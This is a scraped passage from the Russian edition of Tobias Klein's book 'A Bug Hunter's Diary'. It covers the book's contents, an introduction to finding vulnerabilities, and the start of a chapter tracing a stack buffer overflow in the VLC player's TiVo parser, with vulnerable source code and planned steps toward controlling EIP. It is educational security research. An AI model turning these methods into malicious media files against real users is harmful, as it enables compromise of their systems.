WWW.KN.LIB-I.RU
БЕСПЛАТНАЯ  ИНТЕРНЕТ  БИБЛИОТЕКА - Различные ресурсы
 

Pages:   || 2 |

«Тобиас Клейн ДНЕВНИК ОХОТНИКА ЗА ОШИБКАМИ Путешествие через джунгли проблем безопасности программного обеспечения A Bug Hunter’s ...»

-- [ Страница 1 ] --

Тобиас Клейн

ДНЕВНИК

ОХОТНИКА ЗА ОШИБКАМИ

Путешествие через

джунгли проблем безопасности

программного обеспечения

A Bug Hunter’s

Diary

A Guided Tour Through the Wilds

of Software Security

TOBIAS KLEIN

San Francisco

Дневник охотника

за ошибками

Путешествие через джунгли проблем

безопасности программного

обеспечения

ТОБИАС КЛЕЙН

Москва, 2013

УДК 004.438С/С++:004.056 ББК 32.973.26-018 К48 Тобиас Клейн К48 Дневник охотника за ошибками. Путешествие через джунгли проблем безопасности программного обеспечения. Пер. с англ. Киселев А. Н. – М.: ДМК Пресс, 2013. – 240с.: ил.

ISBN 978-5-94074-374-3 Книга «Дневник охотника за ошибками», написанная экспертом по безопасности программного обеспечения Тобиасом Клейном (Tobias Klein), рассказывает, как обнаруживаются и используются ошибки, найденные им в некоторых наиболее популярных во всем мире программных продуктах, таких как операционная система Apple iOS, медиапроигрыватель VLC, веб-браузеры и даже ядро операционной системы Mac OS X.

В этом уникальном отчете вы увидите, как разработчики, по чьей вине произошли эти ошибки, исправили их – или же оказались не в состоянии это сделать.

Попутно вы познакомитесь:

• с приемами поиска ошибок, такими как идентификация и отслеживание движения пользовательских данных и инженерный анализ;



• с эксплуатацией уязвимостей, таких как разыменование нулевого указателя, переполнение буфера и преобразования типов;

• с принципами разработки концептуального программного кода, доказывающего наличие уязвимости;

• с правилами передачи извещений об ошибках производителям программного обеспечения или независимым брокерам.

Книга «Дневник охотника за ошибками» снабжена реальными примерами уязвимого кода и программ, использовавшихся для поиска и проверки ошибок. Неважно, охотитесь ли вы за ошибками только ради забавы, зарабатываете ли вы на этом или просто стремитесь сделать мир безопаснее, вы приобретете новые ценные навыки, наблюдая за тем, как действует профессиональный охотник за ошибками.

Original English language edition published by No Starch Press, Inc., 38 Ringold Street, San Francisco, CA 94103, USA. Copyright (c) 2011 by No Starch Press, Inc.. Russianlanguage edition copyright (c) 2012 by DMK Press. All rights reserved.

Все права защищены. Любая часть этой книги не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав.

Материал, изложенный в данной книге, многократно проверен. Но, поскольку вероятность технических ошибок все равно существует, издательство не может гарантировать абсолютную точность и правильность приводимых сведений. В связи с этим издательство не несет ответственности завозможные ошибки, связанные с использованием книги.

–  –  –

Благодарности

Введение

Глава 1 Выявление уязвимостей

1.1. Ради забавы и выгоды

1.2. Универсальные приемы

Мои личные предпочтения

Поиск потенциально уязвимого кода

Фаззинг

Дополнительная литература

1.3. Ошибки обращения с памятью





1.4. Используемые инструменты

Отладчики

Дизассемблеры

1.5. EIP = 41414141

1.6. Заключительное примечание

Примечания

Глава 2 Назад в 90-е

2.1. Обнаружение уязвимости

Шаг 1: создание списка демультиплексоров

Шаг 2: идентификация входных данных

Шаг 3: определение порядка движения входных данных...........25 6 СОДЕРЖАНИЕ

2.2. Эксплуатация уязвимости

Шаг 1: Поиск образца файла в формате TiVo

Шаг 2: Определение пути достижения уязвимого кода.............28 Шаг 3: Изменение файла в формате TiVo так, чтобы он вызывал ошибку в проигрывателе VLC

Шаг 4: Изменение файла в формате TiVo для захвата контроля над EIP

2.3. Ликвидация уязвимости

2.4. Полученные уроки

2.5. Дополнение

Примечания

3.1. Обнаружение уязвимости

Глава 3 Выход из зоны WWW

Шаг 1: составление списка IOCTL-запросов, поддерживаемых ядром

Шаг 2: идентификация входных данных

Шаг 3: определение порядка движения входных данных...........47

3.2. Эксплуатация уязвимости

Шаг 1: Вызов ситуации разыменования нулевого указателя для отказа в обслуживании

Шаг 2: использование нулевой страницы для получения контроля над EIP/RIP

3.3 Ликвидация уязвимости

3.4. Полученные уроки

3.5. Дополнение

Примечания

Глава 4 И снова нулевой указатель

4.1. Обнаружение уязвимости

Шаг 1: составление списка демультиплексоров в библиотеке FFmpeg

СОДЕРЖАНИЕ Шаг 2: идентификация входных данных

Шаг 3: определение порядка движения входных данных...........77

4.2. Эксплуатация уязвимости

Шаг 1: поиск образца файла в формате 4X с допустимым блоком strk

Шаг 2: изучение организации блока strk

Шаг 3: изменение содержимого блока strk для вызова ошибки в FFmpeg

Шаг 4: изменение содержимого блока strk для получения контроля над EIP

4.3. Ликвидация уязвимости

4.4. Полученные уроки

4.5. Дополнение

Примечания

Глава 5 Зашел и попался

5.1. Обнаружение уязвимости

Шаг 1: составление списка зарегистрированных объектов WebEx и экспортируемых методов

Шаг 2: тестирование экспортируемых методов в браузере...102 Шаг 3: поиск методов объекта в двоичном файле

Шаг 4: поиск входных значений, подконтрольных пользователю

Шаг 5: исследование методов объектов

5.2. Эксплуатация уязвимости

5.3. Ликвидация уязвимости

5.4. Полученные уроки

5.5. Дополнение

Примечания

Глава 6Одно ядро покорит их

Шаг 1: подготовка гостевой системы в виртуальной машине VMware для отладки ядра

Шаг 2: составление списка драйверов и объектов устройств, созданных антивирусом avast!

Шаг 3: проверка настроек безопасности устройства.............120 Шаг 4: составление списка поддерживаемых IOCTL-запросов

Шаг 5: поиск входных данных, подконтрольных пользователю

Шаг 6: исследование обработки IOCTL-запросов

6.2. Эксплуатация уязвимости

6.3. Ликвидация уязвимости

6.4. Полученные уроки

6.5. Дополнение

Примечания

Глава 7 Ошибка, древнее чем 4.4BSD

7.1. Обнаружение уязвимости

Шаг 1: составление списка IOCTL-запросов, поддерживаемых ядром

Шаг 2: идентификация входных данных

Шаг 3: определение порядка движения входных данных.........150

7.2. Эксплуатация уязвимости

Шаг 1: вызов ошибки для обрушения системы (отказ в обслуживании)

Шаг 2: подготовка окружения для отладки ядра

Шаг 3: подключение отладчика к целевой системе..................156 Шаг 4: получение контроля над EIP

7.3. Ликвидация уязвимости

7.4. Полученные уроки

7.5. Дополнение

Примечания

СОДЕРЖАНИЕ Глава 8 Подделка рингтона

8.1. Обнаружение уязвимости

Шаг 1: исследование аудиовозможностей смартфона iPhone

Шаг 2: создание фаззера и испытание телефона

8.2. Анализ аварий и эксплуатация уязвимости................. 177

8.3. Ликвидация уязвимости

8.4. Полученные уроки

8.5. Дополнение

Примечания

Приложение A Подсказки для охотника

A.1. Переполнение буфера на стеке

Пример: переполнение буфера на стеке в Linux

Пример: переполнение буфера на стеке в Windows...............190 A.2. Разыменование нулевого указателя

A.3. Преобразование типов в языке C

A.4. Затирание глобальной таблицы смещений................. 197 Примечания

Приложение B Отладка

B.1. Отладчик Solaris Modular Debugger (mdb).................. 203 B.2. Отладчик Windows (WinDbg)

B.3. Отладка ядра Windows

Шаг 1: настройка гостевой системы в виртуальной машине VMware для удаленной отладки ядра

Шаг 2: изменение файла boot.ini гостевой системы.................209 Шаг 3: настройка WinDbg в хост-машине VMware для отладки ядра Windows

10 СОДЕРЖАНИЕ B.4. Отладчик GNU Debugger (gdb)

B.5. Использование ОС Linux для отладки ядра Mac OS X..... 212 Шаг 1: установка древней версии операционной системы Red Hat Linux 7.3

Шаг 2: получение всех необходимых пакетов программного обеспечения

Шаг 3: сборка отладчика Apple в системе Linux

Шаг 4: подготовка окружения отладки

Примечания

Приложение C Методы защиты

C.1. Приемы защиты от эксплуатации уязвимостей........... 218 Случайная организация адресного пространства (ASLR)........219 Защита от срыва стека: Security Cookies (/GS),

Stack-Smashing Protection (SSP) и Stack Canaries

Защита от выполнения данных NX и DEP

Выявление механизмов защиты от эксплойтов

C.2. RELRO

Испытание 1: поддержка частичного режима RELRO...............224 Испытание 2: поддержка полного режима RELRO

В заключение

C.3. Solaris Zones

Терминология

Настройка неглобальной зоны в Solaris

Примечания

Предметный указатель

Я хотел бы поблагодарить всех, кто выполнял технический обзор книги и внес в нее свой вклад: Феликс Линднер (Felix «FX» Lindner), Себастьян Крамер (Sebastian Krahmer), Дэн Розенберг (Dan Rosenberg), Фабиан Михайлович (Fabian Mihailowitsch), Стеффен Трешер (Steffen Trscher), Андреас Курц (Andreas Kurtz), Марко Лоренц (Marco Lorenz), Макс Зиглер (Max Ziegler), Рене Шенфельдт (Ren Schnfeldt) и Силк Клейн (Silke Klein), а также Сондра Сильверхоук (Sondra Silverhawk), Элисон Ло (Alison Law) и всех остальных сотрудников издательства No Starch Press.

Введение Добро пожаловать в книгу «Дневник охотника за ошибками». В этой книге описывается биография семи настоящих уязвимостей, обнаруженных мною за последние несколько лет. Каждой из них посвящена отдельная глава. В каждой главе я расскажу, как была обнаружена уязвимость, опишу шаги, позволяющие ее эксплуатировать, и как производитель исправил ее.

Цели этой книги Главная цель этой книги – показать на практике, как вылавливать уязвимости. После ее прочтения вы будете лучше понимать приемы, используемые охотниками за ошибками при поиске уязвимостей безопасности, как создавать программный код, выявляющий и доказывающий существование уязвимостей, и как сообщить производителю об уязвимости.

Вторичная цель – рассказать историю каждой из семи описываемых здесь уязвимостей. Мне кажется, что они заслуживают вашего внимания.

Кому предназначена эта книга Эта книга адресована исследователям и консультантам по проблемам безопасности программного обеспечения, программистам на C/C++, специалистам по выявлению уязвимостей и всем, кто желает погрузиться в захватывающий мир охоты за ошибками. Чтобы получить максимум от этой книги, читатель должен хорошо знать язык C и быть знаком с языком ассемблера для процессоров семейства x86.

ВВЕДЕНИЕ Начинающих исследователей уязвимостей эта книга познакомит с разными аспектами их выявления, эксплуатации и составления отчетов для производителей программного обеспечения. Опытных охотников за ошибками эта книга познакомит с новыми взглядами на знакомые проблемы и иногда будет вызывать смех или появление снисходительной улыбки.

Отказ от ответственности Цель этой книги – показать читателям, как выявлять уязвимости в программном обеспечении, защищаться от них и минимизировать их отрицательное влияние. Знание приемов выявления и эксплуатации уязвимостей совершенно необходимо, чтобы понимать основные проблемы и приемы защиты от них. С 2007 года, в Германии, где я живу, стало незаконным создавать или распространять «инструменты для взлома». К таким инструментам относятся простые сканеры портов, а также действующие эксплойты1. Поэтому, в соответствии с законом, в этой книге не будут представлены полные исходные тексты эксплойтов. Примеры, имеющиеся здесь, лишь демонстрируют шаги, позволяющие получить управление над потоком выполнения (над указателем инструкций или программным счетчиком) уязвимой программы.

Ресурсы Все URL-адреса, упоминаемые в книге, а также примеры программного кода, информацию об ошибках и опечатках и другие сведения можно найти по адресу: http://www.trapkit.de/books/bhd/

–  –  –

Выявление уязвимостей – это процесс поиска ошибок в программном или аппаратном обеспечении. Однако в этой книге термин «выявление уязвимостей» используется исключительно для описания процесса поиска ошибок в программном обеспечении, вызывающих проблемы с безопасностью. Такие ошибки, также называемые уязвимостями, позволяют злоумышленнику проникать в удаленные системы, повышать уровень локальных привилегий, преодолевать границы привилегий или наносить иной ущерб системам.

Еще десять лет тому назад выявление уязвимостей в программном обеспечении воспринималось как хобби или средство привлечения внимания средств массовой информации. Когда стало понятно, что это занятие может приносить прибыль [1], к этому занятию стали относиться гораздо серьезнее.

Уязвимостям в программном обеспечении и программам, эксплуатирующим их (известным как эксплойты) уделяется большое внимание в прессе. Кроме того, существует огромное количество книг и ресурсов в Интернете, где описывается процесс эксплуатации уязвимостей и ведутся нескончаемые обсуждения о необходимости открытия информации об их выявлении. Но, не смотря на это, удивительно мало публикаций, описывающих сам процесс выявления. Термины, такие как «уязвимость в программном обеспечении» или «эксплойт»

получили широкое распространение, однако многие – даже специалисты в области безопасности – не знают, как выявлять эти уязвимости.

Если спросить 10 разных охотников за ошибками, как они отыскивают уязвимости, вы наверняка получите 10 разных ответов. Это УНИВЕРСАЛЬНЫЕ ПРИЕМЫ 15 одна из причин, почему нет и, скорее всего, никогда не будет готовых «рецептов» по выявлению уязвимостей. Вместо того, чтобы безуспешно пытаться составить универсальные инструкции, я расскажу в этой книге о подходах и приемах, использовавшихся для выявления ошибок в реальном программном обеспечении. Надеюсь, эта книга поможет читателю выработать свой стиль и самому выявить какиенибудь необычные уязвимости.

1.1. Ради забавы и выгоды Охотники за ошибками преследуют разные цели и имеют разную мотивацию. Одни стремятся повысить безопасность программного обеспечения, другие преследуют личную выгоду в виде известности, внимания средств массовой информации, денег или приглашения на работу. Компании могут стремиться выявлять уязвимости для использования этих фактов в маркетинговых целях. Разумеется, всегда найдется паршивая овца, ищущая новые пути к взлому систем или сетей. С другой стороны, некоторые занимаются этим исключительно ради забавы или, чтобы спасти мир.

1.2. Универсальные приемы Не смотря на отсутствие официальной документации, описывающей стандартный процесс выявления уязвимостей, универсальные приемы все-таки существуют. Эти приемы можно разделить на две категории: статические и динамические. В статическом анализе (часто называется также статическим анализом программного кода) исследуются исходные тексты программ или результаты дизассемблирования двоичных файлов, но сами программы не запускаются.

В динамическом анализе, напротив, активно используются приемы отладки и тестирования выполняющихся программ. Оба приема имеют свои достоинства и недостатки, и многие специалисты используют комбинации из статических и динамических приемов.

Мои личные предпочтения Большей частью я предпочитаю статический анализ. Обычно я просматриваю исходные тексты или результаты дизассемблирования исследуемого программного обеспечения строка за строкой и пытаюсь 16 ГЛАВА 1. ВЫЯВЛЕНИЕ УЯЗВИМОСТЕЙ понять, как оно действует. Однако, читать весь программный код от начала до конца бессмысленно. При поиске ошибок я обычно стараюсь определить места, где в программу попадают пользовательские данные, введенные через интерфейс с внешним миром. В качестве примеров можно назвать данные, полученные из сети, из файла или из окружения времени выполнения.

Затем я изучаю пути, какими введенные данные следуют через программу, пока не найду потенциально уязвимый программный код, выполняющий операции над этими данными. Иногда такие точки входа удается выявить исключительно во время чтения исходных текстов (глава 2) или дизассемблированных листингов (глава 6).

Иногда, чтобы отыскать код, обрабатывающий данные, в дополнение к статическому анализу приходится изучать результаты отладки исследуемого программного обеспечения (глава 5). Кроме того, при создании эксплойтов я обычно объединяю статический и динамический подходы.

После того, как ошибка будет найдена, необходимо доказать, что ею действительно можно воспользоваться, поэтому я пытаюсь написать для нее эксплойт. В процессе создания такого эксплойта, большую часть времени я провожу в отладчике.

Поиск потенциально уязвимого кода Выше представлен лишь один из подходов, используемых при выявлении уязвимостей. Другая тактика поиска потенциально уязвимого кода заключается в изучении окрестностей вызовов «небезопасных» библиотечных функций языка C/C++, таких как strcpy() и strcat(), с целью выявить возможность переполнения буфера. В дизассемблерном листинге можно попробовать отыскать инструкции movsx и проверить возможность появления уязвимости переполнения знакового разряда. После обнаружения потенциально уязвимого кода, можно пойти по программному коду в обратном направлении и проследить, действительно ли выявленный фрагмент уязвим и достижим из точки входа в программу. Я редко пользуюсь этим приемом, но другие охотники за ошибками молятся на него.

Фаззинг Существует совершенно иной подход к выявлению уязвимостей, известный как фаззинг (fuzzing). Фаззинг – это прием динамического УНИВЕРСАЛЬНЫЕ ПРИЕМЫ 17 анализа, заключающийся в тестировании приложения посредством ввода недопустимых или ошибочных данных. Я не эксперт в фаззинге и в инструментах для его проведения, но я знаком со специалистами, создающими собственные инструменты для фаззинга и отыскавшими большое количество уязвимостей с их применением. Время от времени я использую этот прием, чтобы определить точки, где пользовательские данные попадают в программу и, иногда, для поиска уязвимостей (глава 8).

Возможно, кому-то будет интересно узнать, как можно использовать фаззинг для определения точек попадания пользовательских данных в программу. Представьте, что имеется сложное приложение в виде двоичного исполняемого файла, которое необходимо исследовать на наличие уязвимостей. Выявить точки ввода данных в таких сложных приложениях совсем непросто. Однако ввод недопустимых или ошибочных данных в сложных приложениях часто приводит к аварийному завершению. Это справедливо для программ, выполняющих анализ содержимого файлов, таких как офисные пакеты, аудиои видеопроигрыватели или веб-браузеры. В большинстве случаев такие аварии не связаны с безопасностью (например, ошибка деления на ноль в браузере), но они часто позволяют определить начальную точку для исследования влияния пользовательских данных.

Дополнительная литература Выше были описаны лишь несколько приемов и подходов к выявлению ошибок в программах. За дополнительной информацией о поиске уязвимостей в исходных текстах программ я рекомендую обратиться к книге Марка Дауда (Mark Dowd), Джона Макдональда (John McDonald) и Юстина Шу (Justin Schuh) «The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities» (Addison-Wesley, 2007). Желающим поближе познакомиться с приемом фаззинга можно порекомендовать книгу Майкла Саттона (Michael Sutton), Адама Грина (Adam Greene) и Педрама Амини (Pedram Amini) «Fuzzing: Brute Force Vulnerability Discovery» (AddisonWesley, 2007)1.

1 Педрам Амини, Майкл Саттон, Адам Грин «Fuzzing: исследование уязвимостей методом грубой силы», Символ-Плюс, 2009, ISBN: 978-5-93286-147-9. – Прим. перев.

18 ГЛАВА 1. ВЫЯВЛЕНИЕ УЯЗВИМОСТЕЙ

1.3. Ошибки обращения с памятью Уязвимости, описываемые в этой книге, объединяет одна общая черта: все они вызваны ошибками обращения с памятью. Такие ошибки возникают, когда процесс, поток выполнения или ядро пытается использовать:

память, которой не владеет (например, разыменовать нулевой (NULL) указатель, как описывается в разделе A.2);

больше памяти, чем было выделено (в результате возникает ошибка переполнения буфера, как описывается в разделе A.1);

неинициализированную память (например, неинициализированные переменные) [2];

механизм управления динамической памятью по ошибке (например, пытаться дважды освобождать один и тот же блок памяти) [3].

Ошибки обращения с памятью обычно происходят при неправильном использовании мощных возможностей языка C/C++, таких как явное управление памятью, или арифметические операции с указателями.

Ошибки обращения с памятью из подкатегории, которая называется порча содержимого памяти, возникают, когда процесс, поток выполнения или ядро изменяет содержимое памяти, которой не владеет, или когда изменения приводят к повреждению данных в памяти.

Тем, кто не знаком с такими ошибками, я предлагаю заглянуть в разделах A.1, A.2 и A.3 книги. Там описываются простейшие программные ошибки и уязвимости, обсуждаемые в этой книге.

Помимо ошибок обращения с памятью существуют десятки других классов уязвимостей. В их числе логические ошибки и веб-уязвимости, такие как межсайтовый скриптинг, подделка межсайтового запроса и инъекция SQL-кода. Однако эти классы уязвимостей не будут рассматриваться в данной книге. Все уязвимости, рассматриваемые здесь, являются результатом эксплуатации ошибок обращения с памятью.

ИСПОЛЬЗУЕМЫЕ ИНСТРУМЕНТЫ

1.4. Используемые инструменты При выявлении уязвимостей или создании эксплойтов (для их тестирования), необходимо иметь возможность заглянуть внутрь выполняющегося приложения. Для этого я чаще всего использую отладчики и дизассемблеры.

Отладчики Отладчик обычно предоставляет возможность присоединиться к пользовательскому процессу или к ядру, читать и изменять значения в регистрах и в памяти, и управлять потоком выполнения программы с помощью таких механизмов, как точки останова или пошаговый режим выполнения. Как правило, каждая операционная система распространяется вместе со своим собственным отладчиком, однако также имеются отладчики сторонних производителей. В табл. 1.1 перечислены различные операционные системы и отладчики, используемые в этой книге.

–  –  –

Эти отладчики будут использоваться для поиска, анализа и эксплуатации обнаруженных уязвимостей. Дополнительные сведения о некоторых командах отладчиков можно найти в разделах B.1, B.2 и B.4.

Дизассемблеры Если необходимо исследовать приложение, исходные тексты которого недоступны, можно проанализировать двоичные файлы программы, изучив ее код на языке ассемблера. Отладчики обладают возможносГЛАВА 1. ВЫЯВЛЕНИЕ УЯЗВИМОСТЕЙ тью дизассемблировать исполняемый код процесса или ядра, однако пользоваться этой возможностью довольно сложно. Этот недостаток восполняет дизассемблер Interactive Disassembler Professional, более известный, как IDA Pro. [4] Дизассемблер IDA Pro поддерживает более 50 семейств процессоров, обеспечивает полную интерактивность, возможность расширения и графического представления структуры исполняемого кода. Дизассемблер IDA Pro совершенно необходим тем, кому требуется исследовать двоичные исполняемые файлы программ.

Исчерпывающее описание IDA Pro можно найти в книге Криса Игла (Chris Eagle) «The IDA Pro Book, 2nd edition» (No Starch Press, 2011).

–  –  –

За дополнительной информацией о процессе разработки эксплойтов можно обратиться к книге Джона Эриксона (Jon Erickson) «Hacking:

The Art of Exploitation, 2nd edition» (No Starch Press, 2008)2 или ввести строку «exploit writing» (написание эксплойтов) в Google и просмотреть огромное количество материалов, доступных в Интернете.

1.6. Заключительное примечание В этой главе было рассмотрено множество основных понятий и у вас могло возникнуть множество вопросов. Не волнуйтесь, всему свое время. В следующих семи главах дневника дается более подробное описание тем, представленных здесь, и ответы на многие ваши вопросы. Можно также обратиться к приложениям, где приводится справочная информация по различным темам, обсуждаемым на протяжении всей книги.

Примечание. Главы дневника следуют не в хронологическом порядке.

Они расположены так, чтобы понятия в одной главе основывались на понятиях в другой.

Примечания

1. Например: Педрам Амини (Pedram Amini), «Mostrame la guita!

Adventures in Buying Vulnerabilities», 2009, http://docs.google.

com/present/view?id=dcc6wpsd_20ghbpjxcr; Чарли Миллер (Charlie Miller), «The Legitimate Vulnerability Market: Inside the Secretive World of 0-day Exploit Sales», 2007, http://weis2007.

econinfosec.org/papers/29.pdf; программа компании iDefense Labs выплаты вознаграждений за найденные уязвимости, https://labs.idefense.com/vcpportal/login.html; инициатива «Zero Day Initiative» компании TippingPoint, http://www.zerodayinitiative.com/.

2. См. презентацию Даниэля Ходсона (Daniel Hodson) «Uninitialized Variables: Finding, Exploiting, Automating» (Ruxcon, 2008), 2 Д. Эриксон, «Хакинг: искусство эксплойта, 2-е издание» (Символ-Плюс, 2009), ISBN: 978-5-93286-158-5. – Прим. перев.

22 ГЛАВА 1. ВЫЯВЛЕНИЕ УЯЗВИМОСТЕЙ http://felinemenace.org/~mercy/slides/RUXCON2008-UninitializedVariables.pdf.

3. См. статью «CWE-415: Double Free» на сайте Common Weakness Enumeration со списком типичных ошибок в разделе CWE

List CWE - Individual Dictionary Definition (2.0) по адресу:

http://cwe.mitre.org/data/definitions/415.html.

4. http://www.hex-rays.com/idapro/.

5. См. руководство «Intel® 64 and IA-32 Architectures Software

Developer’s Manual, Volume 1: Basic Architecture» по адресу:

http://www.intel.com/products/processor/manuals/.

ГЛАВА 2 НАЗАД В 90-Е Воскресенье, 12 октября, 2008 Дорогой дневник, Сегодня я изучал исходные тексты популярного медиапроигрывателя VLC от проекта VideoLAN. Мне нравится проигрыватель VLC за его поддержку медиафайлов самых разных форматов и всех операционных систем, которыми я пользуюсь. Но поддержка большого количества форматов файлов имеет отрицательную сторону. Проигрыватель VLC вынужден проводить большой объем работ по парсингу файлов, что зачастую означает наличие большого числа ошибок, которые только и ждут, чтобы их обнаружили.

Примечание. В книге «Parsing Techniques: A Practical Guide», Дика Грюна (Dick Grune) и Сэрил Дж. Х. Якобс (Ceriel J.H. Jacobs) [1] говорится:

«Парсинг – это процесс структурирования линейного представления в соответствии с заданной грамматикой». Парсер – это программа, разбивающая последовательность байт на отдельные слова и предложения. В зависимости от формата представления данных, парсинг может оказаться весьма сложной процедурой, при реализации которой легко допустить ошибку.

После ознакомления с внутренним устройством проигрывателя VLC, поиск первой уязвимости занял всего полдня. Это была классическая уязвимость переполнения буфера на стеке (раздел A.1). Данная уязвимость проявлялась при парсинге файлов в формате TiVo. Это проприетарный формат, используемый в устройствах видеозаписи, производимых компанией TiVo. Раньше я никогда не слышал об этом формате, но это не помешало мне эксплуатировать ошибку в его парсере.

24 ГЛАВА 2. НАЗАД В 90-е

–  –  –

Шаг 1: создание списка демультиплексоров После загрузки и распаковки исходных текстов проигрывателя VLC [2] я сгенерировал список всех демультиплексоров.

Примечание. В цифровом видео под демультиплексированием понимается процесс отделения аудио-, видео- и других данных от потока или контейнера, что необходимо для воспроизведения файла. Демультиплексор – это программный модуль, извлекающий компоненты из такого потока или контейнера.

Создать список демультиплексоров совсем несложно, так как в исходных текстах проигрывателя VLC они находятся в отдельных файлах и располагаются в каталоге vlc-0.9.4\modules\demux\ (как показано на рис. 2.1).

–  –  –

Шаг 2: идентификация входных данных Затем я попытался идентифицировать входные данные, обрабатываемые демультиплексорами. После изучения программного кода на языке C я наткнулся на следующую структуру, объявленную в заголовочном файле, который подключается всеми демультиплексорами.

Исходный файл vlc-0.9.4\include\vlc_demux.h [..] 41 struct demux_t 42 { 43 VLC_COMMON_MEMBERS 45 /* Свойства модуля */ 46 module_t *p_module;

/* не только информативно, но и необходимо (можно читать+ демультиплексировать) */ 49 char *psz_access;

50 char *psz_demux;

51 char *psz_path;

53 /* входной поток */ 54 stream_t *s; /* NULL - на случай, когда чтение+ демультиплексирование в одном */ [..] Элемент s структуры в строке 54 объявляется и описывается, как входной поток. Это именно то, что я искал: ссылка на входные данные, обрабатываемые демультиплексором.

Шаг 3: определение порядка движения входных данных После обнаружения структуры demux_t и ее элемента, соответствующего входному потоку, я стал просматривать файлы демультиплексоров в поисках обращений к этому элементу. Чаще всего обращения к входным данным имели вид p_demux-s, как в строках 1623 и 1641, ниже. Найдя такое обращение, я стал следить за тем, как используются входные данные, пытаясь отыскать программные ошибки.

Используя этот подход, я обнаружил следующую уязвимость.

Исходный файл vlc-0.9.4\modules\demux\Ty.c Функция parse_master() [..] 1623 static void parse_master(demux_t *p_demux) 1624 { 26 ГЛАВА 2. НАЗАД В 90-е 1625 demux_sys_t *p_sys = p_demux-p_sys;

1626 uint8_t mst_buf[32];

1627 int i, i_map_size;

1628 int64_t i_save_pos = stream_Tell(p_demux-s);

1629 int64_t i_pts_secs;

1631 /* Примечательно, что записи в SEQ-таблице потока могут иметь 1632 разные размеры, в зависимости от количества бит на запись.

1633 Мы сохраняем их все в структуре одного и того же размера, 1634 поэтому необходимо поочередно выполнить их парсинг. Если бы 1635 у нас была динамическая структура, можно было бы просто прочитать всю таблицу целиком, непосредственно из потока в память.*/ 1637 /* очистить SEQ-таблицу */ 1638 free(p_sys-seq_table);

1640 /* прочитать информацию из заголовка */ 1641 stream_Read(p_demux-s, mst_buf, 32);

1642 i_map_size = U32_AT(&mst_buf[20]); /* размер битовой маски, в байтах */ 1643 p_sys-i_bits_per_seq_entry = i_map_size * 8;

1644 i = U32_AT(&mst_buf[28]); /* размер в SEQ-таблице, в байтах */ 1645 p_sys-i_seq_table_size = i / (8 + i_map_size);

1647 /* прочитать все записи */ p_sys-seq_table = malloc(p_sys-i_seq_table_size * sizeof (ty_seq_table_t));

1649 for (i=0; ip_sys-i_seq_table_size; i++) { 1650 stream_Read(p_demux-s, mst_buf, 8 + i_map_size);

[..] Функция stream_Read(), в строке 1641, читает 32 байта, подконтрольных пользователю данных (элемент p_demux-s) из файла в формате TiVo и сохраняет их в буфере на стеке mst_buf, объявленном в строке 1626. Затем в строке 1642 макроопределение U32_AT извлекает подконтрольное пользователю значение из mst_buf и сохраняет его в целочисленной знаковой переменной i_map_size. В строке 1650 вызывается функция stream_Read(), которая снова сохраняет подконтрольные пользователю данные из медиафайла в буфере на стеке mst_buf. Но на этот раз, для определения объема копируемых данных, функция stream_Read() использует подконтрольное пользователю значение i_map_size, скопированное в буфер mst_buf. Это может привести к прямому переполнению буфера (раздел A.1), которое легко можно эксплуатировать в неблаговидных целях.

Ниже описывается анатомия ошибки, также представленная на рис.

2.2:

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ 27

–  –  –

2.2. Эксплуатация уязвимости

Чтобы эксплуатировать уязвимость, я выполнил следующие шаги:

шаг 1: нашел образец файла в формате TiVo;

шаг 2: отыскал путь, которым данные достигают уязвимый код;

шаг 3: изменил файл в формате TiVo так, чтобы он вызывал ошибку в проигрывателе VLC;

шаг 4: изменил файл в формате TiVo так, чтобы захватить контроль над EIP.

28 ГЛАВА 2. НАЗАД В 90-е Эксплуатировать уязвимость, связанную с форматом файла, можно несколькими способами. Можно самому создать файл требуемого формата или изменить уже имеющийся файл, не вызывающий ошибку. Для демонстрации я выбрал второй вариант.

–  –  –

$ wget http://samples.mplayerhq.hu/TiVo/test-dtivo-junkskip.ty%2b

--2008-10-12 21:12:25-- http://samples.mplayerhq.hu/TiVo/ test-dtivo-junkskip.ty%2b Resolving samples.mplayerhq.hu... 213.144.138.186 Connecting to samples.mplayerhq.hu|213.144.138.186|:80... connected.

HTTP request sent, awaiting response... 200 OK Length: 5242880 (5.0M) [text/plain] Saving to: 'test-dtivo-junkskip.ty+' 100%[=========================] 5,242,880 240K/s in 22s

–  –  –

Шаг 2: Определение пути достижения уязвимого кода Мне не удалось найти документацию с описанием формата TiVo, поэтому я принялся изучать исходные тексты проигрывателя, чтобы определить путь достижения уязвимого кода в функции parse_ master().

Когда проигрыватель VLC загружает файл в формате TiVo, выполняется следующий программный код (все фрагменты исходных текстов взяты из файла vlc-0.9.4\modules\demux\Ty.c).

Первая функция, привлекшая внимание, называется Demux():

[..] 386 static int Demux( demux_t *p_demux ) 387 { 388 demux_sys_t *p_sys = p_demux-p_sys;

389 ty_rec_hdr_t *p_rec;

390 block_t *p_block_in = NULL;

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

392 /*msg_Dbg(p_demux, "ty demux processing" );*/ 394 /* конец файла достигнут ранее? */ 395 if( p_sys-eof ) 396 return 0;

398 /* 399 * что мы делаем (пока 1 запись.. позднее может быть больше):

400 * - вызовом stream_Read() читаем заголовок фрагмента и заголовки записей 401 * - отбрасываем фрагмент целиком, если это фрагмент PART-заголовка 402 * - сохраняем все заголовки в массиве заголовков записи 403 * - запоминаем указатель на текущую запись 404 * - вызовом stream_Block() извлекаем каждую запись 405 * - извлекаем PTS из PES-заголовков 406 * - устанавливаем PTS для пактов данных 407 * - передаем данные соответствующему кодеку вызовом es_out_Send() 409 * при первом вызове и по достижении 410 * конца текущего фрагмента создать новый 411 */ 412 /* извлечь следующий фрагмент из заголовков записи */ 413 if( p_sys-b_rst_chunk || p_sys-i_cur_rec = p_sys-i_num_recs ) 414 { 415 if( get_chunk_header(p_demux) == 0 ) [..] После некоторых предварительных проверок в строках 395 и 413, в строке 415 вызывается функция get_chunk_header().

[..] 112 #dene TIVO_PES_FILEID ( 0xf5467abd ) [..] 1839 static int get_chunk_header(demux_t *p_demux) 1840 { 1841 int i_readSize, i_num_recs;

1842 uint8_t *p_hdr_buf;

1843 const uint8_t *p_peek;

1844 demux_sys_t *p_sys = p_demux-p_sys;

1845 int i_payload_size; /* сумма размеров всех записей */ 1847 msg_Dbg(p_demux, "parsing ty chunk #%d", p_sys-i_cur_chunk );

